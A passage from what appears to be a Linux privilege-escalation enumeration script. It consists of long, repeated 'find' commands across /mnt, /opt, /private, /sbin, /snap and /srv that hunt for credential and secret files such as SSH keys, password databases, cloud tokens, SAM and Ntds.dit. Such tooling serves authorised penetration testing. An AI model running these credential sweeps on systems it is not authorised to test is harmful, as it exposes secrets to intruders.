\".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_MNT=`eval_bckgrd "find /mnt -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_OPT=`eval_bckgrd "find /opt -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_PRIVATE=`eval_bckgrd "find /private -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"agent*\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_RUN=`eval_bckgrd "find /run -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SBIN=`eval_bckgrd "find /sbin -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SNAP=`eval_bckgrd "find /snap -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SRV=`eval_bckgrd "find /srv -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name 